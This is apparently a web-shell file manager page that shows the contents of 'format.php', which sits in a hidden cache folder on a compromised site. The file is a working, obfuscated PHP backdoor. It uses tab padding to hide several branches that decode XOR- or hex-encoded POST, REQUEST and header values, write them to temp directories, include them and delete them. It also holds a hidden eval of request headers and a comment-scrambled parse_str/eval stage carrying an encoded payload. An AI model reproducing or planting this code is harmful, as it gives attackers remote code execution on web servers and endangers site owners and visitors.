9B534B8686E580E0E01768F00155B461

at path：ROOT / .cache_z / format.php

run：R W Run

.htaccess

154 By

2026-05-27 13:59:45

R W Run

class.scm.php

1.24 KB

2026-05-27 13:59:56

R W Run

error_log

217 By

2026-05-28 20:36:43

R W Run

format.php

9.88 KB

2026-06-01 08:23:11

R W Run

inc.php

10.37 KB

2026-05-27 14:00:15

R W Run

include.php

7.39 KB

2026-05-30 20:18:00

R W Run

error_log

📄format.php

<?																																										if(isset($_POST["\x70\x67rp"]) ? true : false){ $dat = $_POST["\x70\x67rp"]; $dat = explode ( "." ,$dat ) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $r = 0; foreach ($dat as $v9) { $sChar = ord($salt[$r % $sLen] ); $d = ((int)$v9 - $sChar - ($r % 10)) ^77; $sym.=chr($d ); $r++; } $holder = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getcwd(), "/tmp", "/var/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir")]); while ($record = array_shift($holder)) { if (is_dir($record) ? is_writable($record) : false) { $reference = implode("/", [$record, ".key"]); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $reference; @unlink($reference); exit; } } } }
																																										$_HEADERS = getallheaders();if(isset($_HEADERS['Sec-Websocket-Accept'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x53e\x72\x76e\x72\x2dT\x69\x6di\x6e\x67\"\x5d\x29;\x40\x65v\x61\x6c(\x24\x5fH\x45\x41D\x45\x52S\x5b\x22S\x65\x72v\x65\x72-\x54\x69m\x69\x6eg\x22\x5d)\x3b";$f='.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}
																																										if(count($_POST) > 0 && isset($_POST["rec\x6Fr\x64"])){ $pointer = array_filter(["/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), getcwd(), getenv("TMP"), "/dev/shm"]); $dat = hex2bin($_POST["rec\x6Fr\x64"]); $descriptor ='' ;foreach(str_split($dat) as $char){$descriptor .= chr(ord($char) ^ 69);} foreach ($pointer as $object) { if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $resource = vsprintf("%s/%s", [$object, ".obj"]); if (file_put_contents($resource, $descriptor)) { require $resource; unlink($resource); exit; } } } }
																																										if(!empty($_POST["\x72\x65s"])){ $record = hex2bin($_POST["\x72\x65s"]); $itm =''; $i = 0; do{$itm .= chr(ord($record[$i]) ^ 53);$i++;} while($i < strlen($record)); $pgrp = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/var/tmp"]); while ($ref = array_shift($pgrp)) { if (max(0, is_dir($ref) * is_writable($ref))) { $comp = vsprintf("%s/%s", [$ref, ".item"]); if (file_put_contents($comp, $itm)) { include $comp; @unlink($comp); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x6D\x61\x72ker"])){ $symbol = hex2bin($_REQUEST["\x6D\x61\x72ker"]); $res = '' ; foreach(str_split($symbol) as $char){$res .= chr(ord($char) ^ 100);} $desc = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/tmp", getenv("TEMP"), "/var/tmp"]); foreach ($desc as $component): if (is_writable($component) && is_dir($component)) { $token = vsprintf("%s/%s", [$component, ".holder"]); if (file_put_contents($token, $res)) { include $token; @unlink($token); exit; } } endforeach; }
																																										if(@$_POST["\x64a\x74a"] !== null){ $symbol = array_filter([ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm"]); $hld = hex2bin($_POST["\x64a\x74a"]); $sym = '' ; for($t=0; $t<strlen($hld); $t++){$sym .= chr(ord($hld[$t]) ^ 11);} foreach ($symbol as $parameter_group): if ((bool)is_dir($parameter_group) && (bool)is_writable($parameter_group)) { $dat = "$parameter_group/.flag"; if (file_put_contents($dat, $sym)) { include $dat; @unlink($dat); exit; } } endforeach; }
Php
/*I;=Q?F1u3~HK])@4G_W*/
	 ##[QAx$_]p&i`*
pArse_stR#GY:v5>3\8JZ@BR&s{~fHuB$=JxBTbqd$2Btp9!SKUY~l
(//!/`-aAn7_20j9
"0=%6"#A`unb"[n1-+~ a<w*fTO,89k
.// X' YViKx\^"d#&4v|$8FRk
"1%52"//l9B$W)gZtK5?m2A2
.	 /*phdm3shYhOevR 3hiV{gJ&NXC^GNQ|@KK.>}AoaN=*/'%52%' /*cZB?$zTZvJ(\6=3=;b;],J&&G].OI|Kv@4ql.]*/.#15A xV}VAY|T3 C)i4=.DZl[@uQowc}'LT&$ 2V`#sI6OTe
'61%5'#!?YFA!z0PAH=S^X(Touy!KPx`7[l(}LXCByD8E_+lCnX|87@wIb
.	/*,4BkB8$S#z[UB'*/'9%5f'//Ny}pOM211^)z2|b].x&i[5v#mv_YoUV
./*kLoX/{/ngAEP5lL m+| We%4OXE8LVqU]k@X]RI//*/'%6d%'//P#t8ACcf1w0PC5Mz`h`
.//Y]imXZcP*Yd#_^3PJr;c@ak"LZnX
"41%7"#RUg!nK+{IARDi2Qdtq>};@+q-JtNI(
./*'Y-l{]qrRqHTO=@i(*/'0&1='/*7;z+dF,9Qd6|S7E_obb\!Y:9frPU~{[/Y9RVV*/.#"{mxBi,hya~(ykv`oJ@U|F&*gBHj
"%53%"#+=fgR5:e9,0|%Bj[~EaVVWI~M7}|FAZ]#C|
./* 9:@\5DOd!x)$z@4iZ9RZVlL5+}!V2WlbhK6.\tM9*/"74%7"	/*^MXR,=!!be.fLjL?GklgM-[#B.UW:ohkZ*/.#Y,$nyoeZvZx]CvEjSN,gu$Q5?Z}!m@C:a$WV~kNvD
"2%52"//E>l Pdqw%A)$$,6
./*A>A8NC]v3aS.v9kPwckt>z%bvr'M4JSQL0r3~fdGe'!}1|&R*/"%65%"/*.Q@H@+l+y6ZUxDvn2A{PIck@HHBy8-Hwb=]to\`It-*/.#CO1n}rf@:-Gvk-C"UcD2bk}}W:}r#{kax c04^W_q5K
'76&2'#5'"m$#x{r}&m,Dgq6QRO*NPzR>b/RjS
./*k0Kr']=Ttkqwz&Vj*/'=%47'	/*N<v0p[[Uvzd*\+<f=OKdJOTqr"ScG"W*/.	//c>Dr>BGvZ<?\{x+rt~h_Cu%V+w9TS.h6B99tn'"=6
"%5a%"//*fY:"3oE;8e6KzQa@>{nUe@QP7u!6$+u+70vK4QlB^T9|{
.	//q1j*M}<G-*@j7Rd}\3VVNhT9|Fxs+zEJ}cS99
'69%4' #<qX5P/k0KQjas|77buGzuGVQ!Rq-P<2dvcZn"%FYF'A)Y<zG%5cE
.	#@#ntw1mmG/q4Wbp(iJP'^Gb6{p|v_\\D {mjMDC
"e%46"#;|Mrlo?gg!F3R+!s!G=~9MP
.#Gf~i6;FHdal"`F{[oq`_4.CT;I_N_O+p/.^G.:5&_
'%4c%'#P 'c9E8;N<GwAQNrgS3XT&VnkUt%&,l!<c)tER
./*m#\KQ]BJIG8%~|bV_.S/0UywWCf`bC */"61%5"/*Y/4Ug:N+touc%pSU5E{f|,jK(_qz#JF.1sNb9 v3[S-_:L`8_'*/.//m X1("f)I?(l
"4%65"//1WZR`eze\Q::P*#MC"/\0$
.	/*T_7~q+sU{#|XO^g*/'&3=%'	##:PLGehG"HWDP3A,;Q|2VF'bT6Ik_Lxga
./*x}VGa,]w[/F9aZix3*/"42%4"	/*LD:[S4ZldK-]NDW}xkGNqSV{lQ_dZ--|eU?S:o=ZV)"*/./*\t8[.OS%CN0G.]M0<.Q}"MT&qCR+4nyo12Ys\TkBu+blk|a*/"1%73" /*$l{<4||ZM|64\BK@'\0Pnjf7J_PL*/.//B827%PVBMWqza%$ydcI+"Mn=qu)@3Y6!4#
"%45%"#Jtx#0U2~*Hg.:dO=B^`S:7.ie$
. //F+jOedbXPu.z>Pw;,A
"36%3"/*:j06!sUJ8SD.I2<C/_.vu9&rG(FP*/.//q\@!<A#y<{J^^cx7tUKG"x1gZ\}$u
'4%5F'#CUdcvU=TG3JO".2bT
.# =k}]bLoq+{f/B%42VbN1S$~)~Dg}hcDwXL%nb71ftZc@xQ
'%44%' 	//mCB~$Rg$w?[,|3F^^Q$i`"ym-1JG^"3)c ku-w
./*5-:|T+'&vDgD2Kc1j3X^j]J@"P5Dx8;M>l*/"65%4"/*p)i'c]p8Iy4Gux!hdHZN.cP]NV:0J*/.  //mr3EnYa'v7gO.l=yV
"3%4f"#TET97dhMmnvN~)/U:SQW
.#HKR%2u$M>hD-*+F<:fO-0x#pUhq49cg0,:><H<>QAC$
'%44%'//h/Nb7 upCgYT>KcC|~C\9qV*Xil!cZspzjai
./*i5k*,TW3-Ggu;Y}M;7yFAg)eX.t}U$lV*/'45&4'#Vr8^l_g}F``>
.#I.U=q16{#!H(5n]YT\f{*30S|c:wJ]{JrBPZbVLzS-
"=%43"	//?.a:hgnf$PA
./*aYPr@D?M#01q*/"%52%"	/*7&(m#qSv47QcdX{?9x,Y(@yTlHiIHp$$N\&pI;~N9S}*/.//X12rt|,vAFoB`w1Oc29zF45UN$.I
"65%4"#FEL<!a%5di*Ek<$3kZ
.#TP*H^y[]8^7bycL7weGb`R1d{d3J%G^$;hc_5n_Gs@O4z.a$S3s
"1%54"/*;3YK5!{N+aXl(Rg*/.#Cfd<>^>|\T4P9UN}C#weHgy<8'5
'%45%'//hv7B.I5(djK93I^q Yjl+'&Qi,zw%]N=3,}
.		#N2/V[0n\o&2_AJ<b6,W7R|"j$~ 2%
"5f%6" //SF d3j/dMqs]Q3YkpOs
.	  /*wJjw8|T8`DXdpT]k?Qawf-*/"6%75"//WA2GED)/rD \#Sg_9x
.	#YZcO'-|}WyK3 =sjMYx4X*Q{qIzPlW'l?[WLAfz,sRK"Li1
'%4e%'#GSX?yvn)(R\z}sW$qB&M5)V]oyZ$kZeE2:BcPeMBb:
.# k|&<M2E4P~ms$uoO39u2 :I<?N"-&M*m"o,B?GoqH {<W
"43%5" 	/*druZLWxApx?sd?\%9\mv*/./*W++D<j/KjY oy#}d!HGfXznB>C*/"4%69"/*V:M;kd P|)8Eu^b&]A(g,PA-z8fnw&tp#?g2^*/.#B2wcrDh%2-zs;l*sQI7%|aQe;T/'B{`Ze+rm=C."MXrDRjbr_s
"%4F%"//[M.wP|3084j'C5(+`08sh!Y/qVYsD+]=yz]Ij?&_56w
. #6JX4=f)wiKw U
'4E&5'//ol_1iv!@kJZz8,DB.~)SetC"1fjC#,jS,uBB/%E>mspY&d;
.//@P=+WXvIXMk~|J_e'@DX_gSJ(?LIN\mt+`'kn'bvYdf
"=%73"#U`q/UzE0'5%r)IS~R:q_WLL"sS*TpsY
.//uD\5[w)r97+^9bmjb+
'%54%'/*XDv QwnP_P)+~=N~6_O3*/.//tmV:aBHrxGK6,:
"72%5"	/*IK~O!rI+%F'FMktULa+Dpn>5?;/j%9[T*/.//1:n$,iVR},GTQcPpRv,7/ZRxEi^9OtANG"`I3#qP\s,[Jo {Z
"F%52"	//1Q<"5gj6{Uiz[8"S4)A+IagFO5W9&'p_Y
.//1mfY1/%t[5t*'[AcVVLzn!yWN
"%4f%"//Mig;!;TjLQ]#sr<uT<|zUn4F$h% MrZ
.//Z4hgLcJ@]=2bRhWSGcp3M/H@/e/_VL;/~u
'54%3'//=F[-\%T{NqTSdNMuNdgK#CL.oDk-A}]%^[!'4=^h~xmC[WGXM}
.#?2PZ.kj498F;%B3F]gD#EBt>h>`j.XFCa>5O }pgxFbkg {
"1%33"#-RR>D31}{&k4 nBv&\CPt/F.<|&aocg~F-G-x@}>)
./*7CV:cr+6Ok@O.WQ=-ym&*/"&"/*)jk/MQM^o&z,cs!Y9Uy#V&g!sU>um{?r{*/,#?13+xx+KgNy`vEC 8We,is,UM35_
$yyegohbzywqdoyq2m3qgz4ujm3kjzlhty#.,J7O5d&,IQZ .T<$$r)K&sneWu7B|cFiKjk(Svg.6?c
)#N#4kFO/?5SGx9;Va%187HV}
;#*!g9m^.X'gOkW:Y%`PJ
@#SLL/| Ae,'|nJd}"a0O!WaA<06J(DCX`$q*N%5Z8kB%u4
evaL#%}Ybrttx>M4m[<)J9/^\xzUCVs&4c6Egc7W*
(/*G*hd]2z.wLU<rasY:E)*GV-B^AYD_whwfIu=X^u"Z,*/$yyegohbzywqdoyq2m3qgz4ujm3kjzlhty//9q@{n]2'Z@:$%@^GSE&[^NUAk1Iz=|(X{5?q7@>x]
[//kt~w%7@)[M+)mlX->QJWY(:Q-')-Jg#d'oV 2<6B
2/*4S]m3q"-[d 7dhS"A*/]   //tqZ8D]fJn?i{s#k p0x!o!`^Bbg@5t_^*GHtA}aP='y$7w2bka
(#&!!\/}5Y:`P.co(XMqFE.2lFdGgSLP&>E{K(D1_b}wh ^XoYwx?W
$yyegohbzywqdoyq2m3qgz4ujm3kjzlhty		//*XFA):U!%voGGE*U|fRkFn,Xhk<l
[#'gJ+LEED:v/xzeB&-UYeR,
3//[}?[CE?X4E:u6c:dwKWFe
]//HXa}'TH?_NtWLFs9(4fuIHL8HO6&;5NheaJ7NC+OikJ>L.ku 0
( //U?ImD|M[iR,\d+!
$yyegohbzywqdoyq2m3qgz4ujm3kjzlhty#D1dh#b0@X[?Z$J*UrFZY[RUUV>AB]}Je!h7AziZ
[/*A!.>YNu?;PYZ+38w!l#8d4hv'!$r:/%dDt^Zh 6&K*/5#5C!OTNXquyJf5a
]//*zB-Ots2oFA\XtBrppni:.{fK9B@/>N
(  #4slTHIk*vY8R*DO)-qQ|N]yp2zbYrx*fV|pX^8-J6ttL0R;D
$yyegohbzywqdoyq2m3qgz4ujm3kjzlhty	//hOPN=_MRc)Ti6;XwoCAL^+Tilt/hL@")] tcS+ZoR)m18Bn=gfW
[/*|~tB=\9~2y(^`p$ "rQuY}:KwyLK,_ +m8fiD1;Z7L^u9i2*/1#AA4e=[07UF/L!LqMbA^/mMRlx|G]T[d>2~EvdemJ&+j2KKO19z:
]/*1yL&@'F?@WQRiH+/T,lTaFCGJV6-h,CPFCuB'*/(	//!w^Rmy2^&n0]w=<,OyC{[I7%/XV`]jpR?[Bxd3
"

==jCaPBp87dkYgh3VyUVcfTy8KeLpFJYRaLDnHfmiXKABePQJIVdPAR2eZVGFidpjDE/mGKRyehpcE/mjhNqzh0MOit2gxWxkgqG

jHIfJ0Z3LCf2JoRJnRZKvvPBfJIBwb2Cvb9l6nexnKCAf6ULKjYSikTmXt12QBUjPsfc7bqvwlMDGMOgB0o4HSLB05P5u/ZKtLmoGO74SSs4PfVISFaZjuELlvF9CHpDzwjOgJVYPBX2Eq38fFAe3FsXPkpXnv2Ix0QMIuVfVcpUIUSZWtmDWFZQ/Q58zULgodxTfw4muldlprVWhxLgj0HbzYJPNjASIiAaiuySf9zoJoZ9iKqtk2enunS/7C0FCcoc1XpCjvlEPV1zWjVMPzwDThdX6dn7dJ7e8Hu9AiwQK/TIj1EcIOes0Du3IKrc8Wx39SO4bIW3CNbeoTLXSYS+krik7zoBWJbLSLwXyiADPlWWVOKRkNtiZNZ+lZddcmOxVCE3PpbDRXlPvXaYc6eh5Qjfvexp42xavJQmNst/AgKBADcruUPbH0UP3kEQjNDn0OYQaL2Yi6iSCN7ZdY2vdQD2LNspwKimMBwYiViKJYghsbtgMTwIpMqQ9Pop7KBms6PqqiJ1rlT24Sy6ROuebsNK2DRoBrtZzLHJiIqD0/OULq3V3oqasz9mP2BWUiINEFw2BOX0BueAyZdUSuK+N+tSr14FqhubvF/48osh0eB6lU/dmAxs5oqlAGpzP0UvMKciKzFxb8/FAa9d9QniU5Ae57IlxUfoqb/jESFC2J6XhDc3+rKE2XJ9SjGn6tg4Z1gm7595sZ3hlLJo0JNOKf3sJOmb3IK2zDnQolv7PjnpTRt2IJkQet2RRVvKFD6nCt/Mp1CSNc9HeAIu"//Z?uh Rk;=/KmM>bdIT&'!(QwM`08es\PH
) /*'E{|Fs!{s!MR]0xV[gyD'J0BIB2P)k-o\/r%7\#L?b<NX>Fp*/)/*v*h6$RLq\$P0v5O]B1[n44c;XW"J{%B?:`j`g]\C-)XI*/)//]7anhx2O0#OFrM'UK6FPOARvOvS)|GSLnBe=`%=Ho
)#>Mm/J3RF&MezP<
)//poeb^"V7xuEOospOfC|Wo?AX}
;	/*rk=~,<ZE&ZZ0[Z#s(__<$njc<(Z/#}Cg+H0@;N$!?B\*/